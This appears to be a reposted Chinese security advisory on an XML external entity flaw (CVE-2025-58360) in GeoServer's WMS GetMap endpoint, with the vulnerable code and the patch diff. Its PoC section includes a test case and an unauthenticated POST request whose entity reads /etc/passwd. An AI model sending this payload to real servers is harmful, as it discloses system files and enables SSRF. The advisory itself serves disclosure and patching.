GeoServerWMSGetMapXML外部实体注入漏洞(CVE-2025-58360)

admin 2026-03-25 14:07:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: GeoServerWMSGetMap端点存在XXE漏洞CVE-2025-58360,因解析SLD/XML时未禁用外部实体扩展,攻击者无需认证即可通过恶意POST请求读取本地文件或发起SSRF攻击。受影响版本包括2.26.0至2.26.2和2.25.6之前版本,漏洞根源在于代码中第四个参数为null导致使用默认XML解析器,修复方案为注入安全实体解析器。文档提供了代码补丁对比和PoC验证方法。 综合评分: 88 文章分类: 漏洞分析,漏洞预警,漏洞POC,应用安全,WEB安全


cover_image

GeoServer WMS GetMap XML 外部实体注入漏洞(CVE-2025-58360)

Ots安全

2026年3月24日 14:33 广东

威胁简报

恶意软件

漏洞攻击

1. 漏洞描述

GeoServer 是一个开源的地理空间服务器,用于通过标准化的 OGC 接口发布和共享空间数据和地图服务。

在受影响的版本中,WMS GetMap 端点在解析 SLD/XML 文档时无法禁用外部实体扩展。攻击者可以发送精心构造的 POST 请求,其中包含恶意 XML 和声明/geoserver/wms,从而导致 XML 解析器访问本地文件系统路径或内部网络资源。此漏洞无需身份验证即可利用,并可能导致任意文件泄露或 SSRF 攻击。

2. 受影响的版本

  • geoserver [2.26.0, 2.26.2)
  • geoserver [*, 2.25.6)
  • org.geoserver.web:gs-web-app [2.26.0, 2.26.2)
  • org.geoserver.web:gs-web-app [*, 2.25.6)
  • org.geoserver:gs-wms [2.26.0, 2.26.2)
  • org.geoserver:gs-wms [*, 2.25.6)

3. 漏洞详情及代码分析

修复提交:

https://github.com/geoserver/geoserver/commit/e874ced5a6fb4b441b7b075d30e5214ca6ad03e6

受影响的文件:

src/wms/src/main/java/org/geoserver/sld/SLDXmlRequestReader.java

漏洞代码(补丁前)

StyledLayerDescriptor sld =    Styles.handler(getMap.getStyleFormat())        .parse(reader, getMap.styleVersion(), null, null);

第四个参数为空null,表示未配置实体解析器。

在这种情况下,底层 GeoTools StyleHandler 将使用默认的 XML 解析器行为,即:

  • 允许 DOCTYPE 声明
  • 允许外部实体引用(SYSTEM “file://” / “http://”)
  • 自动展开外部实体

这会导致典型的 XXE 漏洞。

已修复代码(修复后)

在已打补丁的版本中,GeoServer 注入了一个安全的实体解析器:

String styleFormat = getMap.getStyleFormat();StyleHandler styleParser = Styles.handler(styleFormat);Version styleVersion = getMap.styleVersion();EntityResolver entityResolver = wms.getCatalog().getResourcePool().getEntityResolver();
StyledLayerDescriptor sld =    styleParser.parse(reader, styleVersion, null, entityResolver);

安全解析器可防止外部实体扩展,从而完全缓解 XXE 问题。

补丁差异摘录:

    @Override-    public Object read(Object request, Reader reader, Map kvp) throws Exception {+    public Object read(Object request, Reader reader, @SuppressWarnings("rawtypes") Map kvp) throws ServiceException {        if (request == null) {            throw new IllegalArgumentException("request must be not null");        }        try {            GetMapRequest getMap = (GetMapRequest) request;-           StyledLayerDescriptor sld =-                   Styles.handler(getMap.getStyleFormat()).parse(reader, getMap.styleVersion(), null, null);+           String styleFormat = getMap.getStyleFormat();+           StyleHandler styleParser = Styles.handler(styleFormat);++           Version styleVersion = getMap.styleVersion();++           EntityResolver entityResolver = wms.getCatalog().getResourcePool().getEntityResolver();
+           StyledLayerDescriptor sld = styleParser.parse(reader, styleVersion, null, entityResolver);
            // process the sld            sld.accept(new ProcessStandaloneSLDVisitor(wms, getMap));-            // GetMapKvpRequestReader.processStandaloneSld(wms, getMap, sld);

4. 概念验证 (PoC)

官方提交内容还包含一个专门演示该漏洞的测试用例。以下

是测试套件中的一个示例:

    @Test    public void testGetMapSldXXE() throws Exception {        String path =                "/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90";        String body = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"                + "<!DOCTYPE StyledLayerDescriptor [\n"                + "<!ENTITY xxe SYSTEM \"file:///some/file\">]>\n"                + "<StyledLayerDescriptor version=\"1.0.0\">\n"                + "<NamedLayer><Name>&xxe;</Name></NamedLayer>\n"                + "</StyledLayerDescriptor>";
        Logging.getLogger("geoserver.ows").setLevel(Level.OFF);        MockHttpServletResponse response = super.postAsServletResponse(path, body);        assertEquals(200, response.getStatus());        super.assertContentType("application/vnd.ogc.se_xml", response);        assertThat(response.getContentAsString(), containsString("Entity resolution disallowed for file"));    }

PoC请求

POST /geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90 HTTP/1.1Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [  <!ELEMENT foo ANY >  <!ENTITY xxe SYSTEM "file:///etc/passwd">]><StyledLayerDescriptor version="1.0.0">  <NamedLayer>    <Name>&xxe;</Name>  </NamedLayer></StyledLayerDescriptor>

向未打补丁的 GeoServer 实例提交此请求会导致服务器返回 的内容/etc/passwd,从而确认通过 XXE 进行任意文件泄露。

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ots安全 《GeoServer WMS GetMap XML 外部实体注入漏洞(CVE-2025-58360)》

评论:0   参与:  0